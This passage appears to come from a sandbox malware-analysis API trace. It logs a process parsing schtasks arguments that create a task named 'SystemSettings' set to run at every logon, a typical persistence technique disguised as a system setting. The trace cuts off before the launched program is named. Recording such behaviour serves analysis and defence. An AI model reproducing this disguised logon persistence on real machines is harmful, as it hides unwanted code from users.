(Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.147] lstrlenW (lpString="run") returned 3 [0134.147] GetThreadLocale () returned 0x409 [0134.147] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.147] lstrlenW (lpString="end") returned 3 [0134.147] GetThreadLocale () returned 0x409 [0134.147] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.147] lstrlenW (lpString="showsid") returned 7 [0134.147] GetThreadLocale () returned 0x409 [0134.147] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0134.147] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.147] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.147] lstrlenW (lpString="/create") returned 7 [0134.147] lstrlenW (lpString="-/") returned 2 [0134.147] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.147] lstrlenW (lpString="?") returned 1 [0134.147] lstrlenW (lpString="?") returned 1 [0134.147] GetProcessHeap () returned 0x2236c530000 [0134.147] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c534360 [0134.147] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.147] GetProcessHeap () returned 0x2236c530000 [0134.147] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0xa) returned 0x2236c5338f0 [0134.147] lstrlenW (lpString="create") returned 6 [0134.147] GetProcessHeap () returned 0x2236c530000 [0134.147] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x18) returned 0x2236c533910 [0134.147] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.147] GetProcessHeap () returned 0x2236c530000 [0134.147] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x14) returned 0x2236c533930 [0134.148] _vsnwprintf (in: _Buffer=0x2236c5338f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|?|") returned 3 [0134.148] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.148] lstrlenW (lpString="|?|") returned 3 [0134.148] lstrlenW (lpString="|create|") returned 8 [0134.148] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.148] lstrlenW (lpString="create") returned 6 [0134.148] lstrlenW (lpString="create") returned 6 [0134.148] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.148] GetProcessHeap () returned 0x2236c530000 [0134.148] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c5338f0) returned 1 [0134.148] GetProcessHeap () returned 0x2236c530000 [0134.148] RtlReAllocateHeap (Heap=0x2236c530000, Flags=0xc, Ptr=0x2236c5338f0, Size=0x14) returned 0x2236c533950 [0134.148] lstrlenW (lpString="create") returned 6 [0134.148] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.148] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.148] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.148] lstrlenW (lpString="|create|") returned 8 [0134.148] lstrlenW (lpString="|create|") returned 8 [0134.148] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0134.148] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.148] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.148] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.148] lstrlenW (lpString="/tn") returned 3 [0134.148] lstrlenW (lpString="-/") returned 2 [0134.148] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.148] lstrlenW (lpString="?") returned 1 [0134.148] lstrlenW (lpString="?") returned 1 [0134.148] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.148] lstrlenW (lpString="tn") returned 2 [0134.148] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.149] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|?|") returned 3 [0134.149] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.149] lstrlenW (lpString="|?|") returned 3 [0134.149] lstrlenW (lpString="|tn|") returned 4 [0134.149] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.149] lstrlenW (lpString="create") returned 6 [0134.149] lstrlenW (lpString="create") returned 6 [0134.149] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.149] lstrlenW (lpString="tn") returned 2 [0134.149] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.149] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.149] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.149] lstrlenW (lpString="|create|") returned 8 [0134.149] lstrlenW (lpString="|tn|") returned 4 [0134.149] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0134.149] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.149] lstrlenW (lpString="delete") returned 6 [0134.149] lstrlenW (lpString="delete") returned 6 [0134.149] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.149] lstrlenW (lpString="tn") returned 2 [0134.149] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.149] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|delete|") returned 8 [0134.149] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.149] lstrlenW (lpString="|delete|") returned 8 [0134.149] lstrlenW (lpString="|tn|") returned 4 [0134.149] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0134.149] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.149] lstrlenW (lpString="query") returned 5 [0134.149] lstrlenW (lpString="query") returned 5 [0134.149] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.149] lstrlenW (lpString="tn") returned 2 [0134.150] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.150] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|query|") returned 7 [0134.150] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.150] lstrlenW (lpString="|query|") returned 7 [0134.150] lstrlenW (lpString="|tn|") returned 4 [0134.150] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0134.150] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.150] lstrlenW (lpString="change") returned 6 [0134.150] lstrlenW (lpString="change") returned 6 [0134.150] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.150] lstrlenW (lpString="tn") returned 2 [0134.150] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.150] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|change|") returned 8 [0134.150] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.150] lstrlenW (lpString="|change|") returned 8 [0134.150] lstrlenW (lpString="|tn|") returned 4 [0134.150] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0134.150] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.150] lstrlenW (lpString="run") returned 3 [0134.150] lstrlenW (lpString="run") returned 3 [0134.150] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.150] lstrlenW (lpString="tn") returned 2 [0134.151] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.151] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|run|") returned 5 [0134.151] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.151] lstrlenW (lpString="|run|") returned 5 [0134.151] lstrlenW (lpString="|tn|") returned 4 [0134.151] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0134.151] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.151] lstrlenW (lpString="end") returned 3 [0134.151] lstrlenW (lpString="end") returned 3 [0134.151] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.151] lstrlenW (lpString="tn") returned 2 [0134.151] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.151] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|end|") returned 5 [0134.151] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.153] lstrlenW (lpString="|end|") returned 5 [0134.153] lstrlenW (lpString="|tn|") returned 4 [0134.153] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0134.153] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.153] lstrlenW (lpString="showsid") returned 7 [0134.153] lstrlenW (lpString="showsid") returned 7 [0134.153] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.153] GetProcessHeap () returned 0x2236c530000 [0134.153] HeapValidate (hHeap=0x2236c530000, dwFlags=0x0, lpMem=0x2236c533950) returned 1 [0134.153] GetProcessHeap () returned 0x2236c530000 [0134.153] RtlReAllocateHeap (Heap=0x2236c530000, Flags=0xc, Ptr=0x2236c533950, Size=0x16) returned 0x2236c533950 [0134.154] lstrlenW (lpString="tn") returned 2 [0134.154] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.154] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|showsid|") returned 9 [0134.154] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tn|") returned 4 [0134.154] lstrlenW (lpString="|showsid|") returned 9 [0134.154] lstrlenW (lpString="|tn|") returned 4 [0134.154] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] lstrlenW (lpString="/tn") returned 3 [0134.154] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] lstrlenW (lpString="/tn") returned 3 [0134.154] GetProcessHeap () returned 0x2236c530000 [0134.154] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x8) returned 0x2236c5338f0 [0134.154] GetProcessHeap () returned 0x2236c530000 [0134.154] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b750 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] lstrlenW (lpString="SystemSettings") returned 14 [0134.154] lstrlenW (lpString="-/") returned 2 [0134.154] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] lstrlenW (lpString="SystemSettings") returned 14 [0134.154] StrChrIW (lpStart="SystemSettings", wMatch=0x3a) returned 0x0 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.154] lstrlenW (lpString="SystemSettings") returned 14 [0134.154] GetProcessHeap () returned 0x2236c530000 [0134.154] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x1e) returned 0x2236c53b360 [0134.154] GetProcessHeap () returned 0x2236c530000 [0134.155] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b510 [0134.155] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.155] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.155] lstrlenW (lpString="/sc") returned 3 [0134.155] lstrlenW (lpString="-/") returned 2 [0134.155] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.155] lstrlenW (lpString="?") returned 1 [0134.155] lstrlenW (lpString="?") returned 1 [0134.155] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.155] lstrlenW (lpString="sc") returned 2 [0134.155] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.155] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|?|") returned 3 [0134.155] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.155] lstrlenW (lpString="|?|") returned 3 [0134.155] lstrlenW (lpString="|sc|") returned 4 [0134.155] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.155] lstrlenW (lpString="create") returned 6 [0134.155] lstrlenW (lpString="create") returned 6 [0134.155] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.155] lstrlenW (lpString="sc") returned 2 [0134.155] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.155] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.155] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.155] lstrlenW (lpString="|create|") returned 8 [0134.155] lstrlenW (lpString="|sc|") returned 4 [0134.155] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0134.155] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.155] lstrlenW (lpString="delete") returned 6 [0134.155] lstrlenW (lpString="delete") returned 6 [0134.155] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.155] lstrlenW (lpString="sc") returned 2 [0134.155] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.156] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|delete|") returned 8 [0134.156] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.156] lstrlenW (lpString="|delete|") returned 8 [0134.156] lstrlenW (lpString="|sc|") returned 4 [0134.156] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0134.156] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.156] lstrlenW (lpString="query") returned 5 [0134.156] lstrlenW (lpString="query") returned 5 [0134.156] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.156] lstrlenW (lpString="sc") returned 2 [0134.156] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.156] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|query|") returned 7 [0134.156] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.156] lstrlenW (lpString="|query|") returned 7 [0134.156] lstrlenW (lpString="|sc|") returned 4 [0134.156] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0134.156] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.156] lstrlenW (lpString="change") returned 6 [0134.156] lstrlenW (lpString="change") returned 6 [0134.156] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.156] lstrlenW (lpString="sc") returned 2 [0134.156] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.156] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|change|") returned 8 [0134.156] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.156] lstrlenW (lpString="|change|") returned 8 [0134.156] lstrlenW (lpString="|sc|") returned 4 [0134.156] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0134.156] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.156] lstrlenW (lpString="run") returned 3 [0134.156] lstrlenW (lpString="run") returned 3 [0134.156] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.157] lstrlenW (lpString="sc") returned 2 [0134.157] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.157] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|run|") returned 5 [0134.157] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.157] lstrlenW (lpString="|run|") returned 5 [0134.157] lstrlenW (lpString="|sc|") returned 4 [0134.157] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0134.157] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.157] lstrlenW (lpString="end") returned 3 [0134.157] lstrlenW (lpString="end") returned 3 [0134.157] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.157] lstrlenW (lpString="sc") returned 2 [0134.157] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.157] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x6, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|end|") returned 5 [0134.157] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.157] lstrlenW (lpString="|end|") returned 5 [0134.157] lstrlenW (lpString="|sc|") returned 4 [0134.157] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0134.157] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.157] lstrlenW (lpString="showsid") returned 7 [0134.157] lstrlenW (lpString="showsid") returned 7 [0134.157] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.157] lstrlenW (lpString="sc") returned 2 [0134.157] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.157] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0xa, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|showsid|") returned 9 [0134.157] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|sc|") returned 4 [0134.157] lstrlenW (lpString="|showsid|") returned 9 [0134.157] lstrlenW (lpString="|sc|") returned 4 [0134.157] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0134.157] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.157] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] lstrlenW (lpString="/sc") returned 3 [0134.158] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] lstrlenW (lpString="/sc") returned 3 [0134.158] GetProcessHeap () returned 0x2236c530000 [0134.158] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x8) returned 0x2236c533b50 [0134.158] GetProcessHeap () returned 0x2236c530000 [0134.158] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b8d0 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] lstrlenW (lpString="ONLOGON") returned 7 [0134.158] lstrlenW (lpString="-/") returned 2 [0134.158] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] lstrlenW (lpString="ONLOGON") returned 7 [0134.158] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] lstrlenW (lpString="ONLOGON") returned 7 [0134.158] GetProcessHeap () returned 0x2236c530000 [0134.158] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x10) returned 0x2236c53aad0 [0134.158] GetProcessHeap () returned 0x2236c530000 [0134.158] RtlAllocateHeap (HeapHandle=0x2236c530000, Flags=0xc, Size=0x20) returned 0x2236c53b420 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.158] lstrlenW (lpString="/tr") returned 3 [0134.158] lstrlenW (lpString="-/") returned 2 [0134.158] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0134.158] lstrlenW (lpString="?") returned 1 [0134.158] lstrlenW (lpString="?") returned 1 [0134.158] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.159] lstrlenW (lpString="tr") returned 2 [0134.159] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.159] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|?|") returned 3 [0134.159] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.159] lstrlenW (lpString="|?|") returned 3 [0134.159] lstrlenW (lpString="|tr|") returned 4 [0134.159] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.159] lstrlenW (lpString="create") returned 6 [0134.159] lstrlenW (lpString="create") returned 6 [0134.159] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.159] lstrlenW (lpString="tr") returned 2 [0134.159] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.159] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|create|") returned 8 [0134.159] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.159] lstrlenW (lpString="|create|") returned 8 [0134.159] lstrlenW (lpString="|tr|") returned 4 [0134.159] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0134.159] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.159] lstrlenW (lpString="delete") returned 6 [0134.159] lstrlenW (lpString="delete") returned 6 [0134.159] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.159] lstrlenW (lpString="tr") returned 2 [0134.159] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.159] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|delete|") returned 8 [0134.159] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.159] lstrlenW (lpString="|delete|") returned 8 [0134.159] lstrlenW (lpString="|tr|") returned 4 [0134.159] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0134.159] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.159] lstrlenW (lpString="query") returned 5 [0134.159] lstrlenW (lpString="query") returned 5 [0134.160] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.160] lstrlenW (lpString="tr") returned 2 [0134.160] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.160] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x8, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|query|") returned 7 [0134.160] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.160] lstrlenW (lpString="|query|") returned 7 [0134.160] lstrlenW (lpString="|tr|") returned 4 [0134.160] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0134.160] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.160] lstrlenW (lpString="change") returned 6 [0134.160] lstrlenW (lpString="change") returned 6 [0134.160] _memicmp (_Buf1=0x2236c534360, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.160] lstrlenW (lpString="tr") returned 2 [0134.160] _memicmp (_Buf1=0x2236c533910, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0134.160] _vsnwprintf (in: _Buffer=0x2236c533950, _BufferCount=0x9, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|change|") returned 8 [0134.160] _vsnwprintf (in: _Buffer=0x2236c533930, _BufferCount=0x5, _Format="|%s|", _ArgList=0xf45eb2f7b8 | out: _Buffer="|tr|") returned 4 [0134.160] lstrlenW (lpString="|change|") returned 8 [0134.160] lstrlenW (lpString="|tr|") returned 4 [0134.160] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0134.160] RtlRestoreLastWin32Error () returned 0xf45ede8000 [0134.160] lstrlenW (lpString="run") returned 3 [0134.160] lstrlenW (lpString="run") returned 3 [0134.160] _memicmp 